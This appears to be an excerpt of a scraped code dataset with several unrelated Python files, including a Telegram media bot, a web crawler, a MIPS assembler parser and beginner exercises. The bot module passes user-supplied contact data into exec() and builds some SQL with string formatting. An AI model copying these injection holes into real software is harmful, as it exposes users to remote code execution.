s3_client.delete_object(Bucket=s3_interim_cmps.netloc, Key=s3_interim_cmps.path.lstrip(\"/\"))\n\n transcript_df = _parse_transcription(s3_target_path, **kwargs)\n return transcript_df\n","repo_name":"kushalc/coreutils","sub_path":"util/aws/transcribe.py","file_name":"transcribe.py","file_ext":"py","file_size_in_byte":4551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18040041716","text":"\n\n#Converting from a list to a string :\n\n#list=[\"hello\",\"we\",\"are\",\"learning\",\"python\"]\n\n#counting=[\"hello\",\"we\",\"python\",\"good\",\"you\"]\n\n#list2=[[\"hello\",\"we\",\"are\",\"learning\",\"python\"],[\"oh\",\"good\",\"for\",\"you\"]]\n\n\n#count=0\n#for words in list2:\n #count+=words.count(counting) for values in counting\n#print(counting)\n#print(count)\n\n\n#seasons=[\"Spring\",\"Summer\",\"Fall\",\"Winter\"]\n\n\n\n#for x,element in enumerate(seasons):\n #print(x,element) #so with enumerate we also get the indexes. We loop over the indexes and the elements in the seasons list.\n\n\n\n#for words in list:\n #print(words)\n\n\n\n#for x, count in enumerate(counting):\n #print(list.count(count))\n #print(count) #this works.\n\n#so here I actually did not loop over the list.\n#but I looped over the concept words that I want to check if they are in.\n#the important part is the thing inside the .count function needs to be looped over.\n#but the sentences or the original list that you are searching the occurance of these words can be a list.\n#so for my case, Pereira concepts need to be looped over whereas the VICO sentences should not be looped over.\n\n\n\n#for x, count in enumerate(counting):\n #print(list.count(count))\n #print(count)\n\n\n\nimport pandas as pd\nimport numpy as np\n\n#For loop in a DataFrame :\n\ndf = pd.DataFrame({\"age\":[24,28],\"name\":[\"Ilke\",\"Firfir\"]})\n\nprint(df)\n\n#for column_name in df:\n #print(column_name)\n\nfor index, row in df.iterrows():\n print(index)\n print(row)\n\n\nhome=\"I am going HOME\"\n\nprint(home.lower())\n\nmy_dict={\"home\":\"Amsterdam\", \"time\":\"IDK\"}\n\n\n#.items() function\nprint(my_dict.items()) #returns the key value pairs of the dictionary.\n\n\n\n#I am at def parse_args\n\n\n\ntrial_list=[[['train-72157623606067692-4426712667-3'], ['train-72157623392052135-4391219004-3']], ['test-72157625830823704-5357539959-4'], ['test-72157629972234013-7145640279-2'], ['test-72157630655378016-7605582080-4'], [['test-72157600124891007-472195090-4'], ['test-72157623213948893-4326098467-4'], ['test-72157594326560194-268647884-3']], ['test-72157623145509240-4247704215-4'], ['test-1443082-66884411-4'], ['test-72157625671844609-5344790579-1']]\n\nprint(type(trial_list))\n\n# np.savetxt(\"TrialFileeee.csv\",trial_list,delimiter=\",\",fmt=\"%s\")\n\n# print(trial_list[-3:])\n\n\nfrom collections.abc import Iterable\ndef flatten_list(items,ignore_types=(str,bytes)):\n for v in items:\n if isinstance(v,Iterable) and not isinstance(v, ignore_types):\n yield from flatten_list(v)\n else:\n yield v\n\n\nflattened_list=list(flatten_list(trial_list))\n\nprint(flattened_list)\n\nimport numpy as np\nprint(len(np.unique(flattened_list)))\n\nprint(len(flattened_list))\n\nnp.random.seed(123)\n\nx=np.random.randint(9,size=(3,3))\n\nprint(x)\n\nprint(x.item(0,1))\n\nimport json\n","repo_name":"ilkeasal/sandro_pipeline","sub_path":"Learning.py","file_name":"Learning.py","file_ext":"py","file_size_in_byte":2763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32131518115","text":"from telegram import Bot, Update\nfrom telegram import ParseMode,User\nfrom telegram import MessageEntity\nfrom telegram.utils.helpers import escape_markdown\nfrom config import *\nimport random\nimport os\nimport html\nfrom modul.kamus import kamus\nfrom openpyxl import Workbook\nfrom openpyxl.styles import Alignment, Font\n# from openpyxl.styles import Side, Border\nfrom datetime import datetime\nimport threading\nfrom modul.setting import getUsername\nimport re\n\nlock = threading.Lock()\n\ndef smedia(bot:Bot,update:Update,args): \n chat_id = update.message[\"chat\"][\"id\"] \n chat_type = update.message[\"chat\"][\"type\"] \n message = update.effective_message.reply_to_message\n \n if len(args)==0:\n update.message.reply_text('Silahkan tulis keywordnya')\n else:\n try:\n # detect media\n audio = message.audio\n document = message.document\n animation = message.animation\n photo = message.photo\n sticker = message.sticker \n video = message.video\n voice = message.voice\n video_note = message.video_note\n contact = message.contact\n location = message.location\n venue = message.venue\n invoice = message.invoice\n keyword = ' '.join(args) \n if audio is not None:\n media = audio['file_id'] \n tipe = \"audio\"\n elif document is not None: \n media = document['file_id']\n tipe = \"document\"\n elif animation is not None: \n media = animation['file_id']\n tipe = \"animation\"\n elif len(photo) != 0: \n media = photo[0]['file_id']\n tipe = \"photo\"\n elif sticker is not None: \n media = sticker['file_id']\n tipe = \"sticker\"\n elif video is not None: \n media = video['file_id']\n tipe = \"video\"\n elif voice is not None: \n media = voice['file_id']\n tipe = \"voice\"\n elif video_note is not None: \n media = video_note['file_id']\n tipe = \"video_note\"\n elif contact is not None: \n media = contact['vcard']\n tipe = \"contact\"\n else:\n update.message.reply_text(\"Tipe Media tidak dikenal\")\n return\n # elif location is not None: \n # media = location\n # tipe = \"location\"\n # elif venue is not None: \n # media = venue['file_id']\n # tipe = \"venue\"\n # elif invoice is not None: \n # media = invoice['file_id']\n # tipe = \"invoice\"\n\n cek = \"SELECT media_keyword FROM media WHERE chat_id = ? AND media_keyword = ?\"\n cur.execute(cek,(chat_id,keyword)) \n jumC = (len(cur.fetchall())) \n if jumC >= 1:\n update.message.reply_text('Double keyword')\n else:\n waktu = str(message.date.strftime('%Y-%m-%d %H:%M:%S'))\n hitung = \"SELECT nomor FROM media WHERE chat_id = '%s'\"%(chat_id)\n bar, jum = eksekusi(hitung) \n jum = jum+1\n try:\n lock.acquire(True)\n sql = \"INSERT INTO media (nomor,waktu, chat_id, chat_type, media_tipe, media_keyword, media_id) VALUES (?,?,?,?,?,?,?)\"\n cur.execute(sql,(jum,waktu, chat_id, chat_type, tipe, keyword, media))\n db.commit()\n finally:\n lock.release()\n update.message.reply_text(\"media berhasil di simpan dengan keyword %s\"%keyword)\n except Exception as e: \n update.message.reply_text('Gagal simpan media\\n%s %s'%(e,cek))\n\ndef media(bot:Bot,update:Update,args): \n chat_id = update.message[\"chat\"][\"id\"] \n \n cek_done = \"SELECT done FROM rekam WHERE chat_id = '%s' AND done = 0\"%(chat_id)\n barD, jumD = eksekusi(cek_done)\n if jumD != 0:\n update.message.reply_text(\"Fitur /media dimatikan. Masih belum selesai membaca...\")\n elif len(args)==0:\n update.message.reply_text('Silahkan tulis keywordnya')\n else:\n keyword = ' '.join(args)\n sql = \"SELECT media_tipe, media_id FROM media WHERE chat_id = ? AND media_keyword = ?\"\n cur.execute(sql,(chat_id,keyword)) \n bar = (cur.fetchall())\n jum = (len(bar))\n if jum == 0:\n update.message.reply_text('media tidak ketemu')\n else:\n # detect media'\n \n media = {\n \"audio\" : \"bot.send_audio\",\n \"document\" : \"bot.send_document\",\n \"animation\" : \"bot.send_animation\",\n \"photo\" : \"bot.send_photo\",\n \"sticker\" : \"bot.send_sticker\",\n \"video\" : \"bot.send_video\",\n \"voice\" : \"bot.send_voice\",\n \"video_note\" : \"bot.send_video_note\",\n \"contact\" : \"bot.send_contact\",\n \"location\" : \"bot.send_location\",\n \"venue\" : \"bot.send_venue\",\n \"invoice\" : \"bot.send_invoice\",\n }\n\n perintah = media[bar[0][0]]\n if bar[0][0] == \"contact\":\n vcard = bar[0][1]\n FN = re.findall('FN:(.*)',vcard)\n PHONE = re.findall('MOBILE:(.*)',vcard)\n media_id = \"phone_number = '%s', first_name = '%s'\"%(PHONE[0], FN[0])\n else:\n media_id = \"'%s'\"%bar[0][1]\n try:\n m_id = update.message[\"reply_to_message\"][\"message_id\"]\n exec (\"%s('%s',%s,reply_to_message_id=%s)\"%(perintah,chat_id,media_id,m_id))\n except:\n exec (\"%s('%s',%s)\"%(perintah,chat_id,media_id))","repo_name":"x007R/bot-timer-telegram","sub_path":"v3/modul/media.py","file_name":"media.py","file_ext":"py","file_size_in_byte":6367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"36974604710","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jun 22 22:05:24 2019\n\n@author: 180218\n\"\"\"\n\nimport requests\nfrom bs4 import BeautifulSoup\n#from .temp_package import *\n#from .file import *\nclass WebCrawler(object):\n index_col=False\n header=None\n usecols=None\n head=0\n nrows=None\n specific=None\n standard_time=None\n rule=''\n tag=None\n erase=None\n target_roll=None\n r=None\n class_=None\n @classmethod\n def clr(cls):\n cls.index_col=False\n cls.header=None\n cls.usecols=None\n cls.head=0\n cls.nrows=None\n cls.specific=None \n @classmethod\n def figure(cls,**kwargs):\n print('parameter setting...')\n for keys in kwargs:\n if keys=='url':\n cls.url=kwargs[keys]\n if keys=='class_':\n cls.class_=kwargs[keys]\n if keys=='rule' or keys=='manualinput':\n cls.rule=kwargs[keys]\n Reader.clr()\n Reader.figure(path=cls.rule,seperate='=')\n raw=Reader.export()\n for i in range(len(raw)):\n setattr(cls,raw[i,0],raw[i,1].split(','))\n# for i in range(len(raw)):\n# if len(raw[i,1].split(','))>1:\n# setattr(cls,raw[i,0],raw[i,1].split(','))\n# else:\n# setattr(cls,raw[i,0],raw[i,1])#tag=\n print('xxxx')\n print(raw[i,1].split(','))\n print('xxxx')\n\n cls.r = requests.get(cls.url)\n cls.r.encoding='utf-8' #显式地指定网页编码，一般情况可以不用\n # 確認是否下載成功\n if cls.r.status_code == requests.codes.ok:\n print('surfing success',cls.url)\n \n \n @classmethod\n def export(cls,**kwargs):\n cls.df = pd.read_csv(cls.path, index_col=cls.index_col,header=cls.header,usecols=cls.usecols,nrows=cls.nrows)\n print(cls.df.shape)\n ndarray=cls.df.as_matrix(columns=cls.df.columns[:])\n if cls.specific is not None:\n ndarray=ndarray[ndarray[:,cls.specific[0]]==cls.specific[1],:]\n for keys in kwargs:\n if keys=='specific':\n ndarray=ndarray[ndarray[:,kwargs[keys][0]]==kwargs[keys][1],:]\n \n if cls.standard_time is not None:\n array=cls.df.iloc[:,cls.standard_time].str.replace('-',' ').str.replace(':',' ').str.split(' ',expand=True).as_matrix()\n # print(array)\n array=np.array(array,dtype=float)\n temp_ts=array[:,3]*60*60+array[:,4]*60+array[:,5]+array[:,6]*0.001\n ts=temp_ts-temp_ts[0]\n ndarray[:,cls.standard_time]=ts\n ndarray=np.array(ndarray,dtype=float)\n return ndarray\n @classmethod\n def timeanalysis(cls,index):\n cls.ts=cls.df.iloc[:,index].str.replace('-',' ').str.replace(':',' ').str.replace('.',' ').str.split(' ',expand=True).as_matrix()\n return cls.ts\n\n def __init__(self,url):\n self.url=url\n \n self.r = requests.get(self.url)\n self.r.encoding='gbk' #显式地指定网页编码，一般情况可以不用\n # 確認是否下載成功\n if self.r.status_code == requests.codes.ok:\n # 以 BeautifulSoup 解析 HTML 程式碼\n print('surfing success',self.url)\n def setup_rule(self,path):\n Reader.figure(path='D:/iii/exp_data/webcraw/tarot/config.txt')\n\n raw=Reader.export()\n @classmethod\n def soup(cls):\n result=[]\n soup = BeautifulSoup(cls.r.text, 'html.parser')\n# print(cls.tag)\n if cls.class_ is None:\n \n stories = soup.find_all(cls.tag)\n else:\n stories = soup.find_all(cls.tag,class_=cls.class_)\n for s in stories:\n# print(s.text)\n# print(s.text)\n result.append(s.text)\n# print(result)\n# print(cls.target_roll)\n if cls.target_roll is not None:\n T=[result[i] for i in list(map(int, cls.target_roll))]\n else:\n T=result\n if cls.erase is not None:\n for i in range(len(T)):\n for j in range(len(cls.erase)):\n # print(cls.erase[j])\n T[i].replace(cls.erase[j],'')\n# T = [result[i].replace('\\n','').replace(' ','') for i in index]\n\n return T\n#if __name__=='main':\n# print(getattr(WebCrawler(),nrow))\n","repo_name":"GaryChen10128/gait_analysis","sub_path":"package/WebCrawler.py","file_name":"WebCrawler.py","file_ext":"py","file_size_in_byte":4485,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"26745126675","text":"import os\nimport platform\n\nimport tabulate\n\ndef library_ext():\n \"\"\"Returns the platform-dependent extension for dynamic libraries. \"\"\"\n system = platform.system()\n if system == 'Linux':\n ext = \"so\"\n elif system == 'Darwin':\n ext = \"dylib\"\n else:\n raise OSError(\"Unsupported platform {}\", system)\n return ext\n\n# While not explicit, the code here gets executed on baloo import because of pyweld and convertors importing from here\ntabulate.PRESERVE_WHITESPACE = True\n\nROOT_DIR = os.path.dirname(os.path.abspath(__file__))\nLIBS_DIR = ROOT_DIR + '/weld/libs'\nWELD_PATH = os.path.join(LIBS_DIR, 'libweld.' + library_ext())\nENCODERS_PATH = os.path.join(LIBS_DIR, 'numpy_weld_convertor.' + library_ext())\n","repo_name":"sppalkia/baloo","sub_path":"baloo/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"22178437246","text":"\"\"\"Add dealer categories\n\nRevision ID: 063eeaf98c57\nRevises: b6074f8ea4ab\nCreate Date: 2017-07-21 03:24:02.771982\n\n\"\"\"\n\n\n# revision identifiers, used by Alembic.\nrevision = '063eeaf98c57'\ndown_revision = 'b6074f8ea4ab'\nbranch_labels = None\ndepends_on = None\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n\ntry:\n is_sqlite = op.get_context().dialect.name == 'sqlite'\nexcept:\n is_sqlite = False\n\nif is_sqlite:\n op.get_context().connection.execute('PRAGMA foreign_keys=ON;')\n utcnow_server_default = \"(datetime('now', 'utc'))\"\nelse:\n utcnow_server_default = \"timezone('utc', current_timestamp)\"\n\n\ndef upgrade():\n op.add_column('group', sa.Column('categories', sa.Unicode(), server_default='', nullable=False))\n op.add_column('group', sa.Column('categories_text', sa.Unicode(), server_default='', nullable=False))\n\n\ndef downgrade():\n op.drop_column('group', 'categories_text')\n op.drop_column('group', 'categories')\n","repo_name":"magfest/ubersystem","sub_path":"alembic/versions/063eeaf98c57_add_dealer_categories.py","file_name":"063eeaf98c57_add_dealer_categories.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"3"} +{"seq_id":"4768749184","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom metascrape import utils\n\nimport mock\nimport unittest\n\n\nclass UtilsTestCase(unittest.TestCase):\n\n def test_extract_headers(self):\n mock_response = mock.Mock()\n\n mock_response.headers = {\n \"Accept-Ranges\": \"none\",\n \"Connection\": \"close\",\n \"Content-Length\": \"230\",\n \"Content-Type\": \"text/plain\",\n \"Date\": \"Mon, 15 Jul 2019 19:43:30 GMT\",\n \"Etag\": \"abcdefg\",\n \"Last-Modified\": \"Thu, 11 Jul 2019 23:18:47 GMT\",\n \"Server\": \"EC2ws\",\n }\n\n result = utils.extract_headers(mock_response)\n\n self.assertNotIn('Content-Length', result.keys())\n self.assertNotIn('Date', result.keys())\n self.assertNotIn('Etag', result.keys())\n self.assertNotIn('Last-Modified', result.keys())\n\n self.assertIn('Server', result.keys())\n","repo_name":"naftulikay/metascrape","sub_path":"src/metascrape/utils/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"69883009683","text":"from typing import Dict, List, Any, Tuple, Union\nfrom dataclasses import dataclass, field\nfrom .instructions import *\nfrom .utils import string_numeric_to_decimal\nimport re\n\ncomment_removed = re.compile(\"^.*?(?=#|$)\") # capture all characters before first '#'\n\n@dataclass\nclass DataEntry:\n type: str\n content: str\n label: str = field(default=None)\n\n def __str__(self):\n return f\"\"\n\n\n@dataclass\nclass TextEntry:\n instruction: str\n arguments: List[str]\n label: str = field(default=None)\n assembler_remark: str = field(default=\"\")\n original_text: str = field(default=\"\")\n\n def __str__(self):\n return f\"label: {self.label} - {self.instruction} {', '.join(self.arguments)}\".ljust(50) + f\"{' # ' + self.assembler_remark if self.assembler_remark else ''}\"\n\n def __eq__(self, other: \"TextEntry\"):\n return self.label == other.label and self.instruction == other.instruction and self.arguments == other.arguments\n\n\nclass DataSegment:\n def __init__(self):\n self.starting_address: int = 0x10000000\n self._entries: List[DataEntry] = []\n self._current_label = None\n\n def insert(self, data_type: str, content: str):\n if not self._current_label:\n self._entries.append(DataEntry(data_type, content))\n else:\n self._entries.append(DataEntry(data_type, content, label=self._current_label))\n self._current_label = None\n\n def set_label(self, label_name: str):\n if label_name in self._entries:\n raise Exception(f\"Data segment label {label_name} already exists but is being reused!!\")\n\n self._current_label = label_name\n\n def iter_entries(self):\n for entry in self._entries:\n yield entry\n\n def __str__(self):\n ret = \"\"\n ret += f\"\\n\"\n for entry in self._entries:\n ret += f\" {entry}\\n\"\n return ret\n\n\nclass TextSegment:\n def __init__(self):\n self.starting_address: int = 0x00400024\n self._entries: List[TextEntry] = []\n self._current_label = None\n self._current_assembler_remark = \"\"\n\n def insert(self, instruction: str, arguments: List[str], original_text: str):\n if not self._current_label:\n self._entries.append(TextEntry(instruction, arguments, assembler_remark=self._current_assembler_remark, original_text=original_text))\n else:\n self._entries.append(TextEntry(instruction, arguments, label=self._current_label, assembler_remark=self._current_assembler_remark, original_text=original_text))\n self._current_label = None\n\n self._current_assembler_remark = \"\"\n\n def set_label(self, label_name: str):\n if label_name in [x.label for x in self._entries]:\n raise Exception(f\"Text segment label {label_name} already exists but is being reused!!\")\n\n self._current_label = label_name\n\n def set_assembler_remark(self, assembler_remark: str):\n self._current_assembler_remark = assembler_remark\n\n def iter_entries(self):\n for entry in self._entries:\n yield entry\n\n def __str__(self):\n ret = \"\"\n ret += f\"\\n\"\n for entry in self._entries:\n ret += f\" {entry}\\n\"\n return ret\n\n def __eq__(self, other: \"TextSegment\"):\n if len(self._entries) != len(other._entries):\n return False\n for index, entry in enumerate(self._entries):\n if other._entries[index] == entry:\n continue\n return False\n return self.starting_address == other.starting_address\n\n\ndef preprocess(program_text: str) -> List[str]:\n separated_lines = []\n for line in program_text.split(\"\\n\"):\n line = line.strip()\n if not line:\n continue\n\n # 1. Remove any comments (# comment strings)\n line = comment_removed.findall(line)[0]\n if not line:\n continue\n\n # 2. Separate lines where identifiers (e.g: main:) are on the same line as code.\n # For example, `main: addi $2, $0, 1` would be separated into `main:` and `addi $2, $0, 1`\n tokens = line.split()\n if tokens[0].endswith(\":\"): # check if the first word of the line is an identifier\n segments = line.split(\":\")\n if len(segments) > 1: # If they are written on the same line, separate them\n separated_lines.append(tokens[0])\n separated_lines.append(\" \".join(tokens[1:]))\n continue\n\n separated_lines.append(line)\n\n return separated_lines\n\nclass Parser:\n \"\"\"\n The Parser is a 3-state state machine.\n\n - Initial state: only allows `.data`, `.text`, and `.globl` directives.\n - Entry: before reading any lines; initialization state\n - Transitions:\n - Data state: when `.data` directive is observed\n - Text state: when `.text` directive is observed\n\n - Data state: Allows (un)labeled data declarations through directives.\n - Entry: By state transition from another state\n - Transitions:\n - Text state: when `.text` directive is observed\n\n - Text state: Allows (un)labeled arbitrary command declarations.\n - Entry: By state transition from another state\n - Transitions:\n - Data state: when `.data` directive is observed\n \"\"\"\n def __init__(self, program_text):\n self.program_lines = program_text\n self.line_index = 0 # line index to retrieve next\n\n # These two classes hold the results of the parsed program\n self.data_segment = DataSegment()\n self.text_segment = TextSegment()\n\n # This attribute holds the current executing state of the parser state machine\n self.current_state = self.initialization_state\n\n def get_next_line(self):\n if self.line_index < len(self.program_lines):\n line = self.program_lines[self.line_index]\n self.line_index += 1\n return line\n\n return \"\"\n\n def parse(self):\n \"\"\"\n This should be the entry point of the parser\n \"\"\"\n\n # 1. preprocess(remove comments\n self.program_lines = preprocess(self.program_lines)\n\n # 2. Separate data/text and map to labels\n line_index = 0\n while self.program_lines:\n line = self.program_lines.pop(0)\n self.current_state(line, line_index)\n line_index += 1\n\n return self.data_segment, self.text_segment\n\n def initialization_state(self, line: str, line_index: int):\n if not line:\n return\n\n tokens = line.split()\n n_tokens = len(tokens)\n head = tokens[0].strip()\n\n if head == \".data\":\n if n_tokens == 2: # .data is specified\n self.data_segment.starting_address = string_numeric_to_decimal(tokens[1].strip())\n self.current_state = self.data_state\n elif head == \".text\":\n if n_tokens == 2: # .data is specified\n self.text_segment.starting_address = string_numeric_to_decimal(tokens[1].strip())\n self.current_state = self.text_state\n elif head == \".globl\":\n pass\n else:\n raise Exception(f\"Assembly file did not define a .data or .text segment and instead called '{head}' first.\")\n\n def data_state(self, line: str, line_index: int):\n if not line:\n return\n\n tokens = line.split()\n n_tokens = len(tokens)\n head = tokens[0].strip()\n\n if head.endswith(\":\"): # label:\n # Label is defined. Set label as the text up to, but not including the column\n self.data_segment.set_label(head[:-1])\n\n elif head == \".text\":\n if n_tokens == 2: # .data is specified\n self.text_segment.starting_address = string_numeric_to_decimal(tokens[1].strip())\n self.current_state = self.text_state\n\n elif head == \".globl\":\n pass\n\n else:\n allowed_data_types = [\".ascii\", \".asciiz\", \".double\", \".float\", \".word\", \".byte\"]\n if head not in allowed_data_types:\n raise Exception(f\"Assembler directive '{head}' used within data segment, is unknown.\")\n\n data = \" \".join(tokens[1:])\n if head in (\".ascii\", \".asciiz\"):\n # ascii text is defined as `.ascii \"This is my string\"`\n # Parse the data that's between the double quotation marks\n dblquote_indices = [i for i, x in enumerate(data) if x == '\"']\n assert len(dblquote_indices) >= 2, \"'.ascii' must be defined as a string using double quotation marks.\"\n data = data[(dblquote_indices[0] + 1):(dblquote_indices[-1])]\n\n self.data_segment.insert(head, data)\n\n def text_state(self, line: str, line_index: int):\n if not line:\n return\n\n tokens = line.split()\n n_tokens = len(tokens)\n head = tokens[0].strip()\n\n if head.endswith(\":\"): # label:\n # Label is defined. Set label as the text up to, but not including the column\n self.text_segment.set_label(head[:-1])\n\n elif head == \".data\":\n if n_tokens == 2: # .data is specified\n self.data_segment.starting_address = string_numeric_to_decimal(tokens[1].strip())\n self.current_state = self.data_state\n\n elif head == \".globl\": # global declarations can be ignored for now\n pass\n\n else:\n self.text_segment.set_assembler_remark(f\"L{line_index}: {line}\")\n arguments = [arg.strip() for arg in \"\".join(tokens[1:]).split(\",\")]\n self.text_segment.insert(head, arguments, line)","repo_name":"Dashadower/YAMS","sub_path":"YAMS/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":9904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"16160014245","text":"shop = [['каретка', 1200], ['шатун', 1000], ['седло', 300],\n ['педаль', 100], ['седло', 1500], ['рама', 12000],\n ['обод', 2000], ['шатун', 200], ['седло', 2700]]\n\npart_name = input(\"Название детали: \")\ncount = 0\nprice_sum = 0\n\nfor elem in shop:\n if elem[0] == part_name:\n count += elem.count(part_name)\n price_sum += elem[1]\n\nprint(f\"Количество делатей - {count}\"\n f\"\\nОбщая стоимость - {price_sum}\")\n","repo_name":"DensVt/Skillbox-python_basic","sub_path":"Module16/03_details/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25792325895","text":"import pprint\nimport requests\nimport datetime\nheader={'Content-Type': 'application/json'}\nsql='{\"stmt\":\"SELECT * FROM mtiota001.etsensor WHERE \\\n time_index >= DATE_TRUNC (\\'second\\',\\'2010-07-02T00:00:00.00Z\\') AND \\\n entity_id=\\'urn:ngsi-ld:Temperature:02\\'ORDER BY time_index\"}'\nr=requests.get(\"http://fiware-cratedb:4200/_sql\",headers=header,data=sql)\ninfo=r.json()\ncols=info[\"cols\"]\nrows=info[\"rows\"]\n\noutput=[{cols[i]:x[i] for i in range(len(cols))} for x in rows]\nfor idx,val in enumerate(output):\n timestampint=val[\"time_index\"]\n t=(datetime.timedelta(seconds=timestampint/1000)+datetime.datetime(1970,1,1))\n print(idx+1,\":\",val[\"count\"],val[\"predictionvalue\"],t)","repo_name":"twngbm/AIIOT-Project","sub_path":"Source/DebugManager/quedatafromCrate.py","file_name":"quedatafromCrate.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"27534854095","text":"class classs:\n def __init__(self,l):\n self.l=l\n\n def student(self):\n N=str(input(\"name\"))\n r=int(input(\"roll num\"))\n l.append({\"name\":N,\"roll\":r})\n\nn=int(input(\"number of std\"))\nl=[]\nm=classs(l)\nfor i in range(0,n):\n m.student()\nprint(m) \n\n ","repo_name":"saravanapandic/python","sub_path":"loop.py","file_name":"loop.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"4918205581","text":"\n#para hacer una variable tengo que usar el underscore y/o signo de =\n\ncharacter_name= \"John\"\ncharacter_age= \"35\"\ncharacter_2= \"Tom\"\ncharacter_age_2= \"20\"\n\nprint(\"There once was a man named \" + character_2 + \",\")\nprint(\"he was \" + character_age_2 + \" years old.\")\n\ncharacter_name= \"Mike\"\nprint(\"He really liked the name \" + character_name + \",\")\nprint(\"but didn't like being \" + character_age + \".\")\n\n#Basic types of Data\ncharacter_name= \"John\" #string\ncharacter_age= 35 #number\nis_male= True #boolean\n\n#REGLAS\n#no puede comenzar por un numero\n#palabras siempre en minuscula\n#palabras separadas con underscore","repo_name":"Rolarg29/Python_Projects","sub_path":"Notas/data_variables.py","file_name":"data_variables.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25802284361","text":"\nimport bs4\nimport urllib\nimport pandas as pd\nimport itertools\nimport numpy as np\nimport re\n\n\ninput_url = 'https://www.quora.com/Where-can-I-find-full-data-science-case-studies'\n\ndef scrape_quora(input_url):\n \"\"\"\n Description :\n Input - Quora URL \n Output - Dictionary with question as key and a DataFrame as value.\n DataFrame Contents : 'User_Name','Profile_Link','Occupation','Answered_On','Answer'\n \n Usage Example:\n \n input_url = 'https://www.quora.com/Where-can-I-find-full-data-science-case-studies'\n output = scrape_quora(input_url)\n \"\"\"\n # scrape the page\n page = urllib.request.urlopen(input_url).read()\n soup = bs4.BeautifulSoup(page,'html.parser')\n question = soup.find('div',{'class':'QuestionArea'}).find('span',{'class':'ui_qtext_rendered_qtext'}).get_text()\n \n all_answers = soup.findAll('div',{'class':'answer_text_small'}) \n # create an empty DataFrame with structure needed.\n df = pd.DataFrame(columns=['User_Name','Profile_Link','Occupation','Answered_On','Answer']) \n QandA = {}\n #loop through answers one by one and get the info\n for i in all_answers:\n answer_base = i.findAll('div',{'class':'Answer AnswerBase'})\n for j in answer_base: \n user_info = j.find('div',{'class':'u-margin-right--sm'})\n try:\n user_name = user_info.find('a',{'class':'user'}).get_text() \n except:\n user_name = 'Anonymous'\n try:\n user_link = 'https://www.quora.com'+user_info.find('a').get('href')\n except:\n user_link = np.nan\n try:\n occupation = user_info.find('span',{'class':'NameCredential'}).get_text()\n except:\n occupation = np.nan\n answered_on = user_info.find('span',{'class':'credibility_wrapper'}).get_text()\n answer = j.find('div',{'class':'ui_qtext_expanded'}).get_text()\n curr_row = {'User_Name': user_name,\n 'Profile_Link':user_link,\n 'Occupation':occupation,\n 'Answered_On':answered_on,\n 'Answer':answer}\n df = df.append(curr_row,ignore_index=True)\n QandA[input_url] = df\n \n return(QandA)\n\n\ndef scrape_related_questions(input_url):\n \"\"\" \n `\n Input - Quora URL\n Output - Array with list of related questions.\n \n Usage -\n input_url = 'https://www.quora.com/Where-can-I-find-full-data-science-case-studies'\n output = scrape_related_questions(input_url)\n \n `\n \"\"\" \n related_questions = []\n page = urllib.request.urlopen(input_url).read()\n soup = bs4.BeautifulSoup(page,'html.parser')\n all_related_questions = soup.find('div',{'class':'question_related list side_bar'}).find('ul')\n for i in all_related_questions:\n try:\n url = 'https://www.quora.com'+i.find('a').get('href')\n related_questions.append(url)\n except:\n pass\n return(related_questions)\n\ninput_url = 'https://www.quora.com/What-are-the-best-institutes-to-study-data-science-in-chennai'\n\nmaster_dictionary = scrape_quora(input_url)\nrelated = scrape_related_questions(input_url)\nfor i in related:\n if i not in master_dictionary:\n tmp_dic = scrape_quora(i)\n master_dictionary[i] = tmp_dic[i]\n\nmaster_df = pd.DataFrame.from_dict(master_dictionary,orient='index',columns=['Scraped_info'])\n\nmaster_df.iloc[0]['Scraped_info']\n\n","repo_name":"mahtuog/Identify_Fake_Answers_Quora","sub_path":"Quora_Scraping_V2.py","file_name":"Quora_Scraping_V2.py","file_ext":"py","file_size_in_byte":3576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73398876562","text":"import sys\nimport os\nfrom time import sleep\nfrom copy import deepcopy\n\naliveChar = '@'\ndeadChar = ' '\n\ndef alive_dead(x, y):\n if plane[y][x] == aliveChar:\n return True\n return False\n\ndef moore(x, y):\n neighbour = 0\n\n for yplane in range(-1, 2):\n for xplane in range(-1, 2):\n if (xplane != 0) or (yplane != 0):\n if (x + xplane >= 0) and (y + yplane >= 0) and (x + xplane < width) and (y + yplane < height):\n if alive_dead(x + xplane, y + yplane):\n neighbour += 1\n \n return neighbour\n\ndef printPlane(planeArg):\n for y in range(0, height):\n for x in range(0, width):\n sys.stdout.write(planeArg[y][x])\n print()\n\nwidth = int(input(\"Width of plane: \"))\nheight = int(input(\"Height of plane: \"))\nslp = float(input(\"Sleep: \"))\n\nnf = input(\"Create new configuration file? y/n : \")\n\nif nf == \"y\":\n planePrimary = open(\"./plane\", \"w\")\n\n for y in range(0, height - 1):\n for x in range(0, width):\n planePrimary.write(\".\")\n 